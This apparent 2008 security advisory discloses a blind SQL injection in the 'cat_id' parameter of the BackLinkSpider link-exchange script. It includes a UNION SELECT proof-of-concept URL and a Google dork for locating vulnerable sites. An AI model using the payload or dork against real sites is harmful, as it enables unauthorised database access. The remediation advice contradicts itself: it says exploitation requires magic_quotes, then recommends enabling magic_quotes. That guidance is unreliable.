BackLinkSpider (cat_id) - Remote SQL Injection Vulnerability

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                                        .OR.ID
ECHO_ADV_95$2008

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[ECHO_ADV_95$2008] BackLinkSpider (cat_id) Blind Sql Injection Vulnerability
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Author         : M.Hasran Addahroni
Date           : May, 5 th 2008
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv95-K-159-2008.txt
Critical Lvl   : Medium
Impact	       : System access
Where	       : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : BackLinkSpider
version       : unknown
Vendor        : http://www.backlinkspider.com/
Description   :

BackLinkSpider is a free link exchange service designed to provide you with access to a growing number of link exchange partners in our link directory page
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Vulnerability:
~~~~~~~~~~~~~

Input passed to the "cat_id" parameter in backlinkspider's page is not properly verified before being used to sql query. 
This can be exploited to execute sql query through the browser.
Successful exploitation requires that "magic_quotes" is enabled.


Poc/Exploit:

~~~~~~~~~
http://www.target.com/[backlinkspider_page_name].php?cat_id=[SQL]
http://www.target.com/[backlinkspider_page_name].php?cat_id=-1%20union%20select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/*


Dork:
~~~~
Google    : "Powered By BackLinkSpider" "inurl:backlinkspider.php"


Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
~~~~~~~~

- 03 - 05 - 2008 bug found
- 05 - 05 - 2008 advisory released
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Shoutz:
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Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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